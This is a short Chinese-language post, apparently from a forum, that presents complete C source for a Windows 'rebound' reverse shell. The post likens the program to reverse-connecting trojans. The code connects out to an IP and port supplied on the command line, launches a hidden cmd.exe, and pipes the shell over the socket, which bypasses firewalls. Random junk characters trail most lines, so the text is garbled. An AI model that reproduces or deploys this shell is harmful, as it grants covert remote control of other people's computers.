这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T''+zk
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/* ============================== `HG19_Z
Rebound port in Windows NT 4QAIQQS
By wind,2006/7 k!=GNRRZE
===============================*/ r)(BT:2m
#include X'7S|J6s
#include jHH
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#pragma comment(lib,"wsock32.lib") WV1 Z
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void OutputShell(); Us,[x Q
SOCKET sClient; JjLyV`DJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >x
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void main(int argc,char **argv) :ZS8Zm"
{ +esNwz_
WSADATA stWsaData; 4>VZk^%b#
int nRet; ~e77w\Q0
SOCKADDR_IN stSaiClient,stSaiServer; VhFRh,J(T
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if(argc != 3) noNF;zT
{ AH'4H."o/9
printf("Useage:\n\rRebound DestIP DestPort\n"); A}bHfn|
return; eD{ @0&
} 8='21@wrN
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WSAStartup(MAKEWORD(2,2),&stWsaData); ef}E.Bl
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hYc{9$
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stSaiClient.sin_family = AF_INET; BrH;(*H)8
stSaiClient.sin_port = htons(0); yF5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &rztC]jF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]Wd`GI
{ yC0f/O
printf("Bind Socket Failed!\n"); $dTfvd
return; 9id~NNr7
} o1X/<.0+
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stSaiServer.sin_family = AF_INET; "Dl9<EZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {IPn\Bka
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;q,)NAr&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BQ9`DYI b
{
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printf("Connect Error!"); xcZ%,7
return; \W`} L
} ^UvK~5tBV
OutputShell(); 9MB\z"b?A
} 6+$d
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void OutputShell() vN,}aV2nq
{ OKZam ik~
char szBuff[1024]; 5<O61Lgx
SECURITY_ATTRIBUTES stSecurityAttributes; HM@}!6/s
OSVERSIONINFO stOsversionInfo; qSoBj&6y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?Tc)f_a
STARTUPINFO stStartupInfo; o%+A<Ri
char *szShell; A_jB|<bjTP
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; -[=AlqL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -':"6\W
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xh0wWU*
stSecurityAttributes.lpSecurityDescriptor = 0; c[h'`KXJf-
stSecurityAttributes.bInheritHandle = TRUE; g/l0}%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lv00sa2z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F8S~wW=\w
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^%oG8z,L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LZQFj/,Jg
stStartupInfo.wShowWindow = SW_HIDE; +f\pk \Ith
stStartupInfo.hStdInput = hReadPipe; RUS7Z~5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A&|Wvb=
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GetVersionEx(&stOsversionInfo); X40la_[.
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switch(stOsversionInfo.dwPlatformId) Q.9Ph
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{ jTd4 H)
case 1: S< EB&P
szShell = "command.com"; T6R7,Vt'v
break; EtR@sJ<
default: })zB".
szShell = "cmd.exe"; K=m9H=IX~T
break; q!hy;K`Jd
} ''(fH$pY
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e7XsyL'|p
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send(sClient,szMsg,77,0); {{.sEi*
while(1) Y( 1L>4
{ z;bH<cQ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~'^!udF-
if(lBytesRead) :7$\X[
{ ^_*jp[!`b$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SRt$4EL21
send(sClient,szBuff,lBytesRead,0); V@#*``M,3
} *R_'$+
else >9o,S3
{ z"6ZDC6
lBytesRead=recv(sClient,szBuff,1024,0); (#j2P0B
if(lBytesRead<=0) break; Gut J_2f^9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {?EEIfg
} VY+(,\)U
} \~gA+o}Q
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return; ;Cr_NP[8|j
}